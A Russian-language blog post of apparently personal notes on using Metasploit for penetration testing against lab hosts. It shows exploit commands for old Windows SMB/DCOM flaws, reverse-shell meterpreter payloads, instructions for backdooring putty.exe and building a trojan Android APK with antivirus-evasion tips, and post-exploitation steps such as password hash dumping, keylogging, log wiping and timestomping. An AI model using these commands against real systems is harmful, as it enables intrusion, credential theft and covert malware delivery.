вторник, 20 ноября 2012 г.

Metasploit Framework

В настоящее время (сентябрь 2015) свободно доступна версия Metasplot Framework Community. Часть функционала которой (например обновления) доступны только после регистрации, ключ высылаеться на email спустя пару (или больше) дней.

msfconsole

Кроме msfconsole фреймворк Metasploit обладает двумя рабочими окружениями: msfcli и msfweb - консоль и веб интерфейс соответственно. Здесь буде рассмотрен только перый.
 

 
















Сбор информации

MSF позволяет импортировать отчёты сгенерированые программами nmap, nessus, Accunetics и др. в свою БД.
Отчёты nmap должны быть в формате XML (ключ -oX):
nmap 192.168.56.1/24 -oX scan_result
Импорт в MSF:
db_import ~/scan_result
Вместо импорта результатов, можно воспользоватся плагином nmap - db_nmap прямо из окружения msfconsole:
db_nmap -nF 192.168.56.0/24
Результаты сканирования сразу попадут в БД, в таблицы hosts и services.
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.56.1 Unknown device
192.168.56.10 Unknown device

msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.56.1 22 tcp ssh open
192.168.56.1 139 tcp netbios-ssn open
192.168.56.1 445 tcp microsoft-ds open
192.168.56.1 8200 tcp trivnet1 open
192.168.56.10 135 tcp msrpc open
192.168.56.10 139 tcp netbios-ssn open
192.168.56.10 1031 tcp iad2 open
192.168.56.10 5800 tcp vnc-http open
192.168.56.10 5900 tcp vnc open

Экспортировать таблицы в cvs формате можно используя ключ -o
msf > services  -o msf-services
[*] Wrote services to /home/username/msf-services

 

Проникновение

help, command -h

show exploits
search <что-ищем>
  search platform:windows type:exploit port:445
     search -h для большей информации 

info <эксплойт>

use <эксплойт> - загрузить окружение эксплойта (подготовить к использованию эксплойт)
use exploit/windows/dcerpc/ms03_026_dcom
use exploit/windows/smb/ms08_067_netapi
back
show options - показать набор опций (переменных окружения) эксплойта payload`а
set <переменная окружения> <значение> установить значение переменной окружения
 переменные окружения:
     LHOST, RHOST, LPORT, RPORT - локальный\удалённый хост, порт
     PAYLOAD  - нагрузка эксплойта
 set PAYLOAD windows/meterpreter/reverse_tcp
show payloads - показать список нагрузок (payloads). если загружено окружение эксплойта, то будут показаны только подходящие для него.
check - проверка: удалённый хост достуен для выполнения на ней эксплойта? Эта опция имеется не для всех эксплойтов.
exploit - запустить эксплойт.

Пример

IP локального хоста - LHOST - 192.168.56.101;
IP удалённого хоста - RHOST - 192.168.56.103.
На удалённом компьютере запущена Windows XP SP2.
search platform:windows type:exploit app:server
use exploit/windows/dcerpc/ms03_026_dcom
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set RHOST 192.168.56.103
check
exploit

[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Russian
[*] Selected Target: Windows XP SP2 Russian (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 192.168.56.10
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.10:1043) at 2013-07-31 16:09:52 +0300
sessions - просмотреть открытые соединения MSF; ключ -i n  - переключиться на сессию номер n
Номер созданной сессии, в случае успешной атаки и установки соединения, отображается в выводе команды exploit (см. выше).

 

Client side attacks

upd.  Версии MSF выпущенные после июня 2015 года содержат программу msfvenom заменяющую msfpayload и msfencode 

Создание исполняемого файла из payload (англ.). В этом примере, для проникновения используется подброшенный на компьютер атакуемого исполняемый файл. Будучи запущенным на удалённом хосте, он создаст соединение с хостом атакующего (LHOST=192.168.56.1).
Ключ X, указанный после порта, говорит о том, что вывод будет осуществлён в exe файл.
msfpayload windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=31337 X > /tmp/1.exe

Backdooring EXE Files. То же самое, однако бекдор дописывается в существующий исполняемый файл (здесь putty.exe).  В этом примере, вместо exe файла msfpayload осуществляет вывод в raw формате (ключ R), ибо сгенерированная программа будет далее подано на вход msfencode, который (-e <используемый кодировщик> -c <число проходов кодировщика>). Исходная программа, однако, будет служить лишь контейнером. Используя ключ -k можно сохранить работоспособность исходной программы (с некоторой долей вероятности), но и поток в котором будет запущен бэкдор завершится, если пользователь закроет эту программу.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe
Если использовать ключ энкодера -k то, бекдор запустится в отдельном потоке программы
Чтобы использовать msfencoder в конвейере подряд несколько раз необходимо изменить формат вывода программы на -t raw, везде кроме последнего вызова в конвейере.


upx - программа для упаковки исполняемых файлов. Иногда, упаковав исполняемый файл этой программой, удаётся избежать срабатывания антивируса при его проверке.

Троянский apk для андроид (опция R).
msfvenom -p android/meterpreter/reverse_tcp  LHOST=192.168.0.110 LPORT=4444 R > andro.apk
При внедрении apk нужно не только заставить пользователя установить приложение, но и часто убедить в безопасности этих действий. Ведь по умолчанию, андроид не разрешает установку приложений не из play market. Поэтому при устоновке приходится в настройках телефона активировать соответствующую опцию. Последняя, кстати говоря, по умолчанию включается ровно на одну установку.

Приготовления на стороне атакующего. Теперь остаёться запустить msfconsole и приготовится к подключению нашего приложения:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 9999
set LHOST 192.168.56.1
Как только код в подброшеном файле выполнится, произойдёт подключение и будет запущена сессия meterpreter.

Post exploitation

meterpreter 


Базовая информация о системе
sysinfo
Computer        : QWERTY-PC
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : ru_RU
Meterpreter     : x86/win32
getuid - идентификатор пользователя.

getpid - идентификатор процесса, в пространстве которого запушен сервер.
run get_env
[*] Getting all System and User Variables
Enviroment Variable list
========================
 Name                    Value
 ----                    -----
 APPDATA                 C:\Documents and Settings\qwerty\Application Data
 ComSpec                 C:\WINDOWS\system32\cmd.exe
 FP_NO_HOST_CHECK        NO
 HOMEDRIVE               C:
 HOMEPATH                \Documents and Settings\qwerty
 LOGONSERVER             \\QWERTY-PC
 NUMBER_OF_PROCESSORS    1
 OS                      Windows_NT
 PATHEXT                 .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
 PROCESSOR_ARCHITECTURE  x86
 PROCESSOR_IDENTIFIER    x86 Family 6 Model 37 Stepping 5, GenuineIntel
 PROCESSOR_LEVEL         6
 PROCESSOR_REVISION      2505
 Path                    C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
 SESSIONNAME             Console
 TEMP                    C:\DOCUME~1\qwerty\LOCALS~1\Temp
 TMP                     C:\DOCUME~1\qwerty\LOCALS~1\Temp
 windir                  C:\WINDOWS
ps - список процессов.
ipconfig - информация о сетевых адапетрах.

route - таблица маршрутизации.

run get_application_list - список установленных приложений.

Installed Applications
======================
 Name                                        Version
 ----                                        -------
 7-Zip 9.20                                 
 Microsoft .NET Framework 2.0               
 Microsoft .NET Framework 2.0                2.0.50727
 Oracle VM VirtualBox Guest Additions 4.1.2  4.1.2.0
***
background - вернутся в окружение MSF, при этом соединение с удалённым хостом не будет разорвано, обратно - session -i n.

hashdump - создает вычленяет из реестра (SAM и SYSTEM фалйы) хэши паролей пользователей системы;  
clearev - затирает все следы вашего пребывания на удаленной машине
screenshot 
keyscan_start, keyscan_stop, keyscan_dump начать\остановить\просмотреть-лог кейлогер в реальном времени.
Обычно для вышеприведённых команд требуется, сменить процесс (например на explorer.exe) в котором запущен поток meterpeter.
migrate PID - перенести сервер (materpreter) в процесс с указным PID

Изменить время создания и изменения файла и посмотреть что получилось:
timestomp some-file.txt -z "12/25/2025 23:59:00"
meterpreter > timestomp boot.ini -v
Modified      : 2025-12-25 23:59:00 +0300
Accessed      : 2025-12-25 23:59:00 +0300
Created       : 2025-12-25 23:59:00 +0300
Entry Modified: 2025-12-25 23:59:00 +0300

Запустить на исполнение mdd_1.3.exe с параметрами -o mem.dd:
execute -f mdd_1.3.exe -a "-o mem.dd"
Запусть консоль windows (H - скрыть процесс, c - создать отдельный канал для взаимодействия):
meterpreter > execute -f cmd.exe -H -c
download <что> <куда> - скачать файл с удалённого хоста
upload
   upload AveSatanas.txt c:\\

reg - взаимодействие с реестром.
scraper, winemun - эти скрипты (запускаются командой run) собирают и копируют на машину атакующего информацию о системе в т.ч. реестр (reg файлы), список пользователей, приложений, сервисов, хэши паролей пользователей.

Файлы, содержащие результаты работы этих скриптов, сохраняются по адресу ~/.msf4/logs/scripts/имя_скрипта/.

Файлы созданные winenum









scraper



P.S. 
если в качестве оболочки используется не meterpreter, а командная строка windows и есть проблемы с кодировкой, можно сменить кодировку на юникод таким образом
chcp 65001
или запустить cmd.exe с параметром
cmd /K chcp 65001

Упорядочивая работу

Для разделения отдельных исследований, отдельных сетей и т.д. удобно пользоваться т.н. workspaces. Каждому рабочему пространству соответсвуют свои таблицы hosts, services, creds, loot.
Просмотреть доступные workspaces:
msf > workspace
lab
vbox-net
* default
Используемое "рабочее пространство" отмечано занком *.
Сменить, добавить, удалить и переименовать workspace соответственно:
workspace lab
workspace -a lab2
workspace -d lab
workspace -r lab.old lab.new

Алсо

  • Railgun - расширение meterpreter, позволяющее вызывать функции из DLL.
  • C помощью Meterpreter можно сделать проброс портов.
  • Также можно использовать машину с запущенным на ней meterpreter'ом для дальнейшего проникновения в сеть (используя локально запущенный msf) уже с сетевого интерфейса это машины - pivoting.
  • Resource Scripts - скрипты, содержащие команды meterpreter или msfconsole.

 

Cсылки 

Metasploit Penetration Testing Cookbook - перевод
SecurityTube Metasploit Framework Expert Community Edition [2012]
Offensive security: Metasploit Unleashed
METASPLOIT The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni, 2011
---
Практический пример работы с Metasploit Framework [2011]
Exploit Windows XP SP3 Using Metasploit (msfconsole) [2012]
Create EXE Backdoor Using Metasploit and Backtrack 5 in 4 simple steps [2011]

Другие фреймворки для пентеста
Social-Engineer Toolkit
BeEF - Browser Exploitation Framework

1 комментарий: